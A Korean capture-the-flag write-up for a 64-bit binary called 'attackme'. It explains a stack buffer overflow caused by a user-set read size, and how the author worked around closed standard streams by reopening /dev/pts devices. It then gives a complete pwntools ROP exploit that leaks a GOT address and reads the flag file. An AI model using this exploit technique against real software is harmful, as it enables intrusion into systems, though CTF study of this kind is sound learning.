문제


attackme 바이너리의 checksec 결과는 다음과 같다.

Arch:     amd64-64-little
RELRO:    Full RELRO
Stack:    No canary found
NX:       NX enabled
PIE:      No PIE (0x400000)
FORTIFY:  Enabled

file 명령어의 결과는 다음과 같다.

attackme: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 2.6.32, BuildID[sha1]=a0620e5b122fd043e5a40e181f3f3adf29e6f4c1, stripped

바이너리 코드

main()

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
    char v4; // [rbp-30h]
    ...
    sub_400986(byte_601040,0x80);   // fgets(byte_601040,0x80,stdin); "\x0a" NULL로 replace
    ...
    _printf_chk(1,"Input offset: ");
    v6 = sub_4009DB();  // fgets(&nptr,0x20,stdin); return atoi(&nptr);
    _printf_chk(1,"Input size: ");
    v5 = sub_4009DB();
    sub_4008FD(&v4,byte_601040,v6,v5);
    sub_4008D8();   // close(0); close(1); close(2)
}

sub_4008FD()

int __fastcall sub_4008FD(void *a1, const char *a2, __off_t a3, __int64 a4)
{
    offset = a3;
    nbytes = a4;
    fd = open(a1,0);
    if (fd == -1)
        return;
    lseek(fd,offset,0);
    if(read(fd,a1,nbytes) > 0 )
        puts("Load file complete!");
    return close(fd);
}

sub_4008FD() 함수에서 nbytes 값을 내 마음대로 설정할 수 있기 때문에 bof를 통해서 main 함수의 ret를 overwrite할 수 있다. 하지만 sub_4008D8() 함수에서 stdin, stdout, stderr 를 모두 close() 하기 때문에 입출력 파일을 다시 open 해줘야 한다.

심볼릭 링크 관계 : /dev/stdin -> /proc/self/fd/0 -> /dev/pts/숫자

즉, 프로세스의 입력은 /dev/pts/숫자 파일을 통해서 처리된다. 따라서 /dev/stdin, /proc/self/fd/0, /dev/pts/숫자 중 하나의 파일을 open 하고 해당 파일 디스크립터를 read 함수의 인자로 넣어주면 read(0,buf,size) 와 동일한 동작을 수행한다.

/proc/self/fd/1 과 /proc/self/fd/2도 /proc/self/fd/0과 동일한 /dev/pts/숫자 파일에 심볼릭 링크되어 있다.

그런데 pwntools의 process를 이용하면 /proc/self/fd/0 가 pipe에 심볼릭 링크되어 있다. (/proc/self/fd/1, /proc/self/fd/2는 /dev/pts/숫자 파일에 심볼릭 링크 걸려있음)

즉, process 함수로 생성된 객체는 프로세스와 pipe를 통해서 입력을 준다.

이는 process의 stdin default 옵션이 pipe여서 그렇다. (stdin 옵션을 PTY로 바꾸면 /dev/pts 를 통해서 입력을 준다.)

그리고 daemon으로 돌고 있는 경우 /proc/self/fd/0 ~ 2 은 socket에 링크되어 있다.

나는 그냥 flag만 읽는 것으로 payload를 구성했다. (사실 뭔가 원래 문제에서는 /proc/self/fd/0 ~1의 심볼릭 링크에 대해서 따로 처리를 해준 것 같다. 그게 아니면 /dev/pts/숫자를 open 한다고 해서 출력 결과가 나한테 올 것 같지가 않다. remote 환경에서는 1번이 socket에 링크되어 있으므로… => 아마도 socket이 /dev/pts/숫자에 링크되어 있는듯…)

exploit 방법

  1. /dev/stdin 파일을 open하고 read 함으로써 bof를 발생시킨다.
  2. ROPgadget을 구성
    • /dev/pts/숫자 파일을 두 번 open한다.
    • 프로세스에 해당하는 /dev/pts/숫자를 open했으면 문자열 출력하도록 한다. (잘못된 파일을 open하면 출력되지 않고, 이 경우에는 process를 close 한다.)
    • flag 파일을 open하고 bss_section에 flag 파일을 read한다. 마지막으로 flag 내용이 쓰여진 bss_section을 출력한다.
  3. 프로세스에 해당하는 /dev/pts/숫자를 찾을 때까지 1 -2를 반복한다.

풀이


#!/usr/bin/python

from pwn import *
import time

file_path = "/home/sungyun/round3/load/attackme"

puts_plt=0x4006c0
puts_got=0x600fa0
prdi=0x0000000000400a73
prsip=0x0000000000400a71
open_plt=0x0000000000400710
bss_sec=0x6011b0
pts_path=0x601040+0x10
read_plt=0x4006e8

num=0

libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")

while(1):

	p=process(file_path)
	#num=raw_input()
	#num=num[:-1]
	p.recvuntil("name: ")
	file_name = "/dev/pts/"+str(num)
	#file_name="/dev/pts/"+num
	p.sendline("/dev/stdin"+"\x00"+"AAAAA"+file_name+"\x00"+"flag"+"\x00")
	p.recvuntil("offset: ")
	p.sendline("0")
	p.recvuntil("size: ")

	pay="A"*0x30
	pay+=p64(pts_path+0x30+8)
	pay+=p64(prdi)
	pay+=p64(pts_path)
	pay+=p64(prsip)
	pay+=p64(2)
	pay+="A"*8
	pay+=p64(open_plt)	# open fd 0
	pay+=p64(prdi)
	pay+=p64(pts_path)
	pay+=p64(prsip)
	pay+=p64(2)
	pay+="A"*8
	pay+=p64(open_plt)	# open fd 1

	pay+=p64(prdi)		#puts_got leak
	pay+=p64(puts_got)
	pay+=p64(puts_plt)

	pay+=p64(prdi)
	pay+=p64(pts_path+10+len(str(num)))
	pay+=p64(prsip)
	pay+=p64(2)
	pay+="A"*8
	pay+=p64(open_plt)	# open flag

	pay+=p64(prdi)
	pay+=p64(2)
	pay+=p64(prsip)
	pay+=p64(bss_sec)
	pay+="A"*8
	pay+=p64(read_plt)	# read flag

	pay+=p64(prdi)
	pay+=p64(bss_sec)
	pay+=p64(puts_plt)	# puts flag

        p.sendline(str(len(pay)))
        time.sleep(0.1)

	p.send(pay)
	#p.recvuntil("complete!\n",timeout=0.5)		# 처음에 open하는 파일을 /dev/pts/숫자로 한 경우 잘못된 숫자를 넣으면 attackme 프로세스가 read에서 계속 머물러 있기 때문에 timeout을 해줘야한다.
	p.recvuntil("complete!\n")  # /dev/stdin을 open한 경우
	try:
		puts=p.recvline()
		puts=puts[::-1]
		puts=puts[1:]
		puts=int(puts.encode('hex'),16)
		break
	except:
		p.close()
	num = num + 1

print p.recvline()

알게 된 것


  • /dev/tty : 현재 콘솔 장치, 현재 콘솔 세션을 의미 (사용자의 터미널을 의미)
  • /dev/pts : SSH 접속 콘솔 장치 (원격 터미널 환경)
  • /usr/bin/tty : 터미널 확인 리눅스 명령어 (표준 입력에 접속된 터미널 장치 파일명 출력)